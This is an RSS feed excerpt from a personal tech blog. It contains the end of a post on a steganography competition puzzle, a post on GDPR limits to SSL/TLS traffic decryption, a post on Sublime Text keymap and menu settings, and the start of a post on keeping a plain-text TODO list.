&lt;p&gt;Using &lt;a href=&quot;https://en.wikipedia.org/wiki/Bit_numbering#Least_significant_bit&quot;&gt;least significant bit&lt;/a&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Steganography&quot;&gt;steganography&lt;/a&gt;, I encoded a message in a copy of &lt;a href=&quot;https://en.wikipedia.org/wiki/The_Treachery_of_Images&quot;&gt;&lt;em&gt;The Treachery of Images&lt;/em&gt;&lt;/a&gt;,&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 378px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/ee962d24ce5991bfc6a82a23f5a15805/a5608/pipe.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 69.62025316455697%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAOABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAEDAgT/xAAWAQEBAQAAAAAAAAAAAAAAAAAAAgP/2gAMAwEAAhADEAAAAb9OrZUxh//EABkQAAMBAQEAAAAAAAAAAAAAAAECAwARBP/aAAgBAQABBQKtmT0ChowBzyShA4O7/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAHBAAAgICAwAAAAAAAAAAAAAAAQIAESExAxAi/9oACAEBAAY/AlW/N5lcWhtplrlsgMoAAdf/xAAbEAEAAgMBAQAAAAAAAAAAAAABABEhMUFhkf/aAAgBAQABPyGkEVcORNQbgv5BGT1RBis6yrGNBMN7n//aAAwDAQACAAMAAAAQHw//xAAVEQEBAAAAAAAAAAAAAAAAAAABEP/aAAgBAwEBPxBn/8QAFREBAQAAAAAAAAAAAAAAAAAAECH/2gAIAQIBAT8Qh//EAB4QAQACAQQDAAAAAAAAAAAAAAEAESExQaGxUWFx/9oACAEBAAE/EKdEAjEWpBVMHwN3riVJG9QdEJiFCI/MRCaawA4l8D7VpP/Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;The Treachery of Images&quot;
        title=&quot;The Treachery of Images&quot;
        src=&quot;/static/ee962d24ce5991bfc6a82a23f5a15805/a5608/pipe.jpg&quot;
        srcset=&quot;/static/ee962d24ce5991bfc6a82a23f5a15805/ff44c/pipe.jpg 158w,
/static/ee962d24ce5991bfc6a82a23f5a15805/a6688/pipe.jpg 315w,
/static/ee962d24ce5991bfc6a82a23f5a15805/a5608/pipe.jpg 378w&quot;
        sizes=&quot;(max-width: 378px) 100vw, 378px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The message was a morse representation of a sentence, using a custom morse alphabet.&lt;/p&gt;
&lt;p&gt;We got feedback after the event, which told us that the contestants found the problems fun, but challenging. All in all, making this competition was a very fun thing to be a part of!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SSL/TLS-Decryption and the GDPR]]></title><description><![CDATA[Malware is a threat against both organization and individuals in enterprise environments. These days, a large majority of network-traffic is…]]></description><link>https://eivindarvesen.com/blog/2021/01/31/ssl-tls-decryption-and-the-gdpr</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2021/01/31/ssl-tls-decryption-and-the-gdpr</guid><content:encoded>&lt;p&gt;Malware is a threat against both organization and individuals in enterprise environments. These days, a large majority of network-traffic is encrypted on the wire, which protects the confidentiality and integrity of the data – but also creates issues for the monitoring of traffic for potential malicious activity on your network.&lt;/p&gt;
&lt;p&gt;There are vendors, however, that provide network-products that will perform termination of SSL/TLS-traffic, inspect it and potentially produce logs for security analysis purposes.&lt;/p&gt;
&lt;p&gt;But then again, the &lt;a href=&quot;https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32016R0679&quot;&gt;General Data Protection Regulation (GDPR)&lt;/a&gt; guarantees data subjects (e.g. your employees or co-workers) certain rights pertaining to privacy and data protection – and by extension makes certain demands of data processors when it comes to what data they can collect about whom and under what conditions, how they can process it, how long they can keep it, what third parties they can share it with under what stipulations, as well as how the data must be protected.&lt;/p&gt;
&lt;p&gt;So what does this mean for your SSL/TLS-Decryption?&lt;/p&gt;
&lt;h2&gt;The rub&lt;/h2&gt;
&lt;p&gt;Well, one vendor of firewalls &lt;a href=&quot;https://blog.paloaltonetworks.com/2019/10/network-ssl-decryption-and-gdpr/&quot;&gt;makes the claim&lt;/a&gt; that&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[The GDPR] states specifically that you are allowed to implement measures in order to secure the processing of personal data. Because of this, it’s not correct to say, “I cannot do SSL decryption because of &lt;strong&gt;GDPR&lt;/strong&gt;.” In fact, it’s more accurate to say, “The &lt;strong&gt;GDPR&lt;/strong&gt; requires me to do it.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This claim is on its face so categorical that it&apos;s obviously wrong.&lt;/p&gt;
&lt;p&gt;The argument put forth claims (at least in my reading) that you can process &lt;strong&gt;&lt;em&gt;some personal data&lt;/em&gt;&lt;/strong&gt; (the data in the encrypted traffic that you wish to decrypt) because you wish to secure the processing of &lt;strong&gt;&lt;em&gt;some other personal data&lt;/em&gt;&lt;/strong&gt; (whatever that may be). This is a &lt;em&gt;pretty charitable&lt;/em&gt; reading of the argument, because it certainly wouldn&apos;t make sense to argue that you need to decrypt (i.e. process; make non-confidential and inspect) a piece of data in order to secure &lt;strong&gt;&lt;em&gt;that same piece of data&lt;/em&gt;&lt;/strong&gt; – this would be self-contradictory.&lt;/p&gt;
&lt;p&gt;There&apos;s also the fact that even &quot;just&quot; metadata – e.g. URLs – could &lt;em&gt;in and of itself&lt;/em&gt; constitute &lt;strong&gt;special category data&lt;/strong&gt; (colloquially known as sensitive personal data), which triggers even stricter requirements in the GDPR. This is because there is a non-zero probability of a URL &quot;revealing racial or ethnic origin, political opinions, religious or philosophical beliefs, [...] trade union membership [or] genetic data, biometric data for the purpose of uniquely identifying a natural person, data concerning health or data concerning a natural person&apos;s sex life or sexual orientation&quot;.&lt;/p&gt;
&lt;h3&gt;A slight digression&lt;/h3&gt;
&lt;p&gt;URLs revealing personal data in your logs would, of course, be an issue &lt;em&gt;even without SSL/TLS-decryption&lt;/em&gt; – meaning there&apos;s potential privacy impact and a compliance issue in any firewall or web server logging initiative.&lt;/p&gt;
&lt;p&gt;IPs themselves are already &lt;a href=&quot;https://gdpr-info.eu/recitals/no-30/&quot;&gt;categorized by the EU&lt;/a&gt; as &lt;a href=&quot;https://ec.europa.eu/info/law/law-topic/data-protection/reform/what-personal-data_en&quot;&gt;personal data&lt;/a&gt; (this is something you should have &lt;em&gt;some&lt;/em&gt; awareness of too), though in the case of webserver logs you&apos;d probably be able able to use &quot;legitimate interest&quot; as basis for processing, make sure they&apos;re not available for anyone that don&apos;t need access, and rotate your logs every so often.&lt;/p&gt;
&lt;p&gt;Still, this is no news – the Internet Engineering Task Force&apos;s (IETF) wrote a &lt;a href=&quot;https://tools.ietf.org/html/draft-andersdotter-intarea-update-to-rfc6302-00&quot;&gt;draft update&lt;/a&gt; to &quot;RFC 6302 Logging Recommendations for Internet-Facing Servers&quot; back in 2018, which suggests:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Full IP addresses should only be stored for as long as needed to provide a service;&lt;/li&gt;
&lt;li&gt;Logs should otherwise only include the first two octets of IPv4 addresses, or first three octets of IPv6 addresses;&lt;/li&gt;
&lt;li&gt;Inbound IP address logs shouldn&apos;t last longer than three days;&lt;/li&gt;
&lt;li&gt;Unnecessary identifiers should not be logged – these include source port number, timestamps, transport protocol numbers, and destination port numbers; and&lt;/li&gt;
&lt;li&gt;Logs should be protected against unauthorised access.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;More info in &lt;a href=&quot;https://www.theregister.com/2018/04/24/ietf_gdpr_compliance_advice/&quot;&gt;this article in The Register&lt;/a&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Notice that we haven&apos;t even touched on the payload – the data that is communicated between two parties (e.g. a browser and a web server) – which could, naturally, reveal even more detailed information.&lt;/p&gt;
&lt;h2&gt;An attempted analysis&lt;/h2&gt;
&lt;p&gt;In short, the identified issue is: even URLs can potentially reveal &lt;em&gt;a lot&lt;/em&gt; about a person – and must thus be considered (potentially) &lt;em&gt;&lt;u&gt;sensitive&lt;/u&gt; personal data&lt;/em&gt;. Payloads are, of course, an even bigger issue. What solution can we come up with to work around this?&lt;/p&gt;
&lt;p&gt;One approach might be to not retain any logs of payloads and/or URLs from your SSL/TLS-decryption &lt;em&gt;at all&lt;/em&gt;, except for concrete suspicions (i.e. perform allow-list- or suspicion-based logging).&lt;/p&gt;
&lt;p&gt;Another approach could be to exclude as much traffic as you can (e.g. categories such as &quot;health&quot;, etc. – if your solution supports this), knowing that this will create blind-spots in the excluded traffic.&lt;/p&gt;
&lt;p&gt;Either way, you should also restrict access to any resulting logs, analysis tools and related itself as much as possible. You should also retain data (i.e. logs) for &lt;u&gt;as short&lt;/u&gt; as practically possible (probably somewhere around 30-60 days or so).&lt;/p&gt;
&lt;p&gt;This means that you &lt;em&gt;will have to&lt;/em&gt; do trade-offs, and weigh the interests of privacy and security against each other – and realize that you probably won&apos;t have &lt;strong&gt;perfect&lt;/strong&gt; forensic capabilities.&lt;/p&gt;
&lt;p&gt;No matter what, you should still be aware that you can&apos;t ever really guarantee that you won&apos;t have personal (and maybe even sensitive) data as a consequence of analyzing your network traffic.&lt;/p&gt;
&lt;p&gt;Hence: you &lt;em&gt;need&lt;/em&gt; to perform a &lt;a href=&quot;https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/data-protection-impact-assessments-dpias/what-is-a-dpia/&quot;&gt;Data Protection Impact Assessment (DPIA)&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Addendum (I am Not a Lawyer)&lt;/h3&gt;
&lt;p&gt;Contrary to what &lt;em&gt;some&lt;/em&gt; believe – when dealing with personal data, you can&apos;t just &lt;em&gt;decide&lt;/em&gt; that one one consideration is more important than another. If you don&apos;t base your processing on consent, but in stead opt for the oft-abused &quot;legitimate interest&quot; as your lawful basis for processing, you still need to formally weigh the interests, and document this in a Legitimate Interests Assessment (LIA), to decide whether it&apos;s reasonable to do so – and you&apos;re obligated to inform the data subjects. You must also attempt to reduce the privacy impact as much as possible.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;It&apos;s almost as if you can&apos;t just blindly trust vendors (&lt;em&gt;no way...&lt;/em&gt;) and actually have to make detailed assessments for yourself, &lt;em&gt;just like the GDPR &lt;u&gt;requires&lt;/u&gt;&lt;/em&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Opening Sublime Text Settings in a Standard Tab]]></title><description><![CDATA[Sublime Text is my text editor of choice. With version 3 currently in beta, the dev channel releases (only available to registered users…]]></description><link>https://eivindarvesen.com/blog/2016/11/15/opening-sublime-text-settings-in-a-standard-tab</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2016/11/15/opening-sublime-text-settings-in-a-standard-tab</guid><content:encoded>&lt;p&gt;Sublime Text is my text editor of choice. With version 3 currently in beta, the &lt;a href=&quot;https://www.sublimetext.com/3dev&quot;&gt;dev channel releases&lt;/a&gt; (only available to registered users) have been steadily been improving the application and adding new features.&lt;/p&gt;
&lt;p&gt;Something irked me earlier this fall, however.&lt;/p&gt;
&lt;p&gt;One day, as I pressed the hotkey to bring up my user preferences, an entirely new window popped up, displaying the application default settings and my user settings beside each other (as can be seen in the image below).&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/9797743c93045fcbe75d20f8fd2a1194/10ab7/old.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 61.39240506329114%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACaElEQVR42nWS207bQBCGeQIkS/HZ6/WebRMHqpaD+gAV9KYqahNQ0kSEUnEHah8M3/BwyPFOZx1QqdRe/BrPrvfb+Wd258PHj+/X328f7+9/Pdzd/Wyvb27bxXLVXl4u2k+fv7Tn59N2Op3j2lV78+O2Xa+v29Vq3S4xny+u2gXq2/LqYblaP07n85MdbxRfSj2Geu9Nj7LaNCBkDbTQkGYCSC5h3BxAwQzsH1RweFRD05SgtQZtFK4LiFPWTyYNVFU1Q2AyI4SDVOZJadOVZdVpU3VCapTq8EDHmO7CiHYkp50xDPOiixMyKAizzg+yJ8Y4RFH6dWc0Ci+SjONt416q2uJhvFUNIrnAKgsQSkGSMoiTArhguMcgyXLwQwJ+QCAISS8EhzBMZghMLjIioKrrnnFjKVUI4WijGABpxhDyAqTYDsxRLlJaQBRvgVFMwbkdgA5Q1XtDhTmVQ9/c2jY6oBnyBC9h3FVYQEYohBEZ5IBhlIPnvQKasuy50JaQrU2nKM6HqqQsB2BZc2gmErTCQeBesIX9DUTfg+Wy0r0xBnuo0I4BpQxWyCFN2ZDHCcNpCzg60fDurYZSc8gphSD4B9Ad5EJuKJU9wi1atVFcWJyejRJqlS4t9tA2E2EPj7VtKmWxQougF22egdPnoTjLVV8UyjprLndDGOQmyzV+c5gcSDg61jAZ4wsgxTDlYDvp1xWSGS0UmEpvjNE9zYWD2pRwi2CsrHBtwMhtXQs72Ze2GUvLCoYuqMUeO23ci8DipjtBEIT4IM88zz/1PO90G/+j3T9xdxf/9f1T348GeaPoLAzD4Dd3OjCprg8liwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;New, unwanted behavior&quot;
        title=&quot;New, unwanted behavior&quot;
        src=&quot;/static/9797743c93045fcbe75d20f8fd2a1194/f058b/old.png&quot;
        srcset=&quot;/static/9797743c93045fcbe75d20f8fd2a1194/c26ae/old.png 158w,
/static/9797743c93045fcbe75d20f8fd2a1194/6bdcf/old.png 315w,
/static/9797743c93045fcbe75d20f8fd2a1194/f058b/old.png 630w,
/static/9797743c93045fcbe75d20f8fd2a1194/40601/old.png 945w,
/static/9797743c93045fcbe75d20f8fd2a1194/78612/old.png 1260w,
/static/9797743c93045fcbe75d20f8fd2a1194/10ab7/old.png 1552w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;While great for discoverability, I really don&apos;t want to be dragged out of my current context; as I often work in full screen mode, I want to open my preferences in a normal tab.&lt;/p&gt;
&lt;p&gt;After a &lt;a href=&quot;https://github.com/SublimeTextIssues/Core/issues/1329&quot;&gt;quick question&lt;/a&gt; to Will Bond - perhaps most known for &lt;a href=&quot;https://packagecontrol.io&quot;&gt;Package Control&lt;/a&gt;, Sublime Text&apos;s unofficial package manager - who now works on Sublime Text, I figured out how to revert to the old functionality.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; &lt;em&gt;In the following pieces of code, &lt;code class=&quot;language-text&quot;&gt;${packages}&lt;/code&gt; refers to the place where Sublime Text Packages are stored on your system. This path is &lt;code class=&quot;language-text&quot;&gt;~/Library/Application Support/Sublime Text 3/Packages&lt;/code&gt; on my mac.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;First, I added the following to &lt;code class=&quot;language-text&quot;&gt;${packages}/User/Main.sublime-menu&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;caption&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Preferences&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;mnemonic&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;preferences&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;children&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;open_file&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;args&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;file&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;${packages}/User/Preferences.sublime-settings&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;caption&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Settings – User&quot;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This adds an entry for the user preferences to the main menu.&lt;/p&gt;
&lt;p&gt;After this, I added the following to &lt;code class=&quot;language-text&quot;&gt;${packages}/User/Default (OSX).sublime-keymap&lt;/code&gt; (as I&apos;m on macOS):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;keys&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;super+,&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;open_file&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;args&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;file&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;${packages}/User/Preferences.sublime-settings&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Finally, I could once again easily open my user preferences in a normal tab (as seen below).&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/65d6f36f6459f77f8abd21092c98fb60/10ab7/new.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 61.39240506329114%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAClElEQVR42n1SyU7jQBDNHQkI8e5ud7fdi5ckaADBiC8IXOYECROJyGRYpNF8G77wcchx15Sd4TqHJ3dXu169V1Wj29sf13d3Pz/q+uX97e1387h5ah7Wm6Z+em42/fnhsdk+vzTb7UuzwvN6/dhs6m1TIzb1M8bfmtfXP+91/evjfr3+PhqPvQfHJcCF6WKSWscj4OKdUAnz0xwuLguYzXPIcw1pJkEqhdAg5RRjJeZlQJnotKlgXs2Xo8NDZ3k89iGK+WdMRDs+CVq8t65HW8Z5a3IxfIOQtj6CJkkbE9oGkWinM9kqw1smks++iDHlHRL6q54wjHindGkdN4Z/9wFpJkCkAs8JTBwCCePAuQDGNQihIY4FEJ92RudQzQeFe8IoFp1ItZ04EaDKgQxVA08ZMMGQmGMbGPgBhZgwMMUMClUASzhgyzqlcri6uhgsr3oC7F+XMIkK94QBEgphoNIFTKsSpJZAMTkMe0IORXEKU+ybynRfuMtkgbEKCcdfCoeg9YMETk5CJGRAUeG5LOF8XkKm1d4ySUFLLFR9g8urazg7u4SqqLrCzLAVeq/Q8+hASGhqXZzyeBJCGPdqEkhCBhyVxWgXBwUBFiRUgEFFua5AmzkkierdQZYh4cGBs6KJ7H/cHR15Hdq1J5PQYgHLmLGUaYv2La6S9XzaFxzecjO1Ms2tMpVNaLpLU4WWs3skHK9wIBDhlI+OPdvb/xpKP0UpcsAEiEgCrk8HxDEDhQo5z3AfU8g4bgi2IePZEhfbWSpVQl7Md0HIOiSyuI+oTqISZuMBwvbt6OO9ujSVtjKlnRVTq5SxIpU7fAPfj+5Hnuf5mHRDArYIArIghCHIwnWD4f4/fP0bBMEChd34vu/9BXA+MDOJetcAAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Wanted behavior&quot;
        title=&quot;Wanted behavior&quot;
        src=&quot;/static/65d6f36f6459f77f8abd21092c98fb60/f058b/new.png&quot;
        srcset=&quot;/static/65d6f36f6459f77f8abd21092c98fb60/c26ae/new.png 158w,
/static/65d6f36f6459f77f8abd21092c98fb60/6bdcf/new.png 315w,
/static/65d6f36f6459f77f8abd21092c98fb60/f058b/new.png 630w,
/static/65d6f36f6459f77f8abd21092c98fb60/40601/new.png 945w,
/static/65d6f36f6459f77f8abd21092c98fb60/78612/new.png 1260w,
/static/65d6f36f6459f77f8abd21092c98fb60/10ab7/new.png 1552w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The UI theme used in the images above is one made by me called &lt;a href=&quot;/projects/faarikaal&quot;&gt;Faarikaal&lt;/a&gt;; the color scheme is a custom variation of &quot;Tomorrow Night Bright&quot; that is distributed with the theme.&lt;/p&gt;
&lt;p&gt;If you&apos;re a bit &lt;em&gt;too productive&lt;/em&gt;, you might want to check out my &lt;a href=&quot;/projects/xkcd&quot;&gt;Xkcd viewer&lt;/a&gt; for Sublime Text 3, which will let you browse &lt;a href=&quot;http://www.xkcd.com&quot;&gt;Xkcd&lt;/a&gt; comics directly from your editor.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Plain Text TODO]]></title><description><![CDATA[In the folders of my various projects - software or otherwise - I usually add two files that i add to my , which only serve as personal…]]></description><link>https://eivindarvesen.com/blog/2016/12/10/plain-text-todo</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2016/12/10/plain-text-todo</guid><content:encoded>&lt;p&gt;In the folders of my various projects - software or otherwise - I usually add two files that i add to my &lt;code class=&quot;language-text&quot;&gt;.gitignore&lt;/code&gt;, which only serve as personal notes.&lt;/p&gt;
&lt;p&gt;The first file is &lt;code class=&quot;language-text&quot;&gt;SCRATCH.md&lt;/code&gt;, which I treat as a scratchpad of sorts; It contains only temporary information: braindumps, interesting links, etc.&lt;/p&gt;
&lt;p&gt;The other is &lt;code class=&quot;language-text&quot;&gt;TODO.diff&lt;/code&gt;, which is a living TODO-list for the project in question.&lt;/p&gt;
&lt;p&gt;The TODO-list leverages the diff-file syntax highlighting of my text editor: tasks that are yet to be done are marked with an &lt;code class=&quot;language-text&quot;&gt;-&lt;/code&gt;, while performed tasks are marked with &lt;code class=&quot;language-text&quot;&gt;+&lt;/code&gt;, and so on.&lt;/p&gt;
&lt;p&gt;An example would be:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;diff&quot;&gt;&lt;pre class=&quot;language-diff&quot;&gt;&lt;code class=&quot;language-diff&quot;&gt;&lt;span class=&quot;token diff bold&quot;&gt;&lt;span class=&quot;token prefix diff&quot;&gt;!&lt;/span&gt; A header
&lt;/span&gt;&lt;span class=&quot;token coord&quot;&gt;*** Important ***&lt;/span&gt;
Text
&lt;span class=&quot;token inserted-sign inserted&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt; A finished task
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt; An unfinished task
&lt;/span&gt;&lt;span class=&quot;token coord&quot;&gt;---&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;which looks like this in my editor:&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 502px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/0ea5a13c5afe342af99a5882f456ad4c/eea79/editor.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
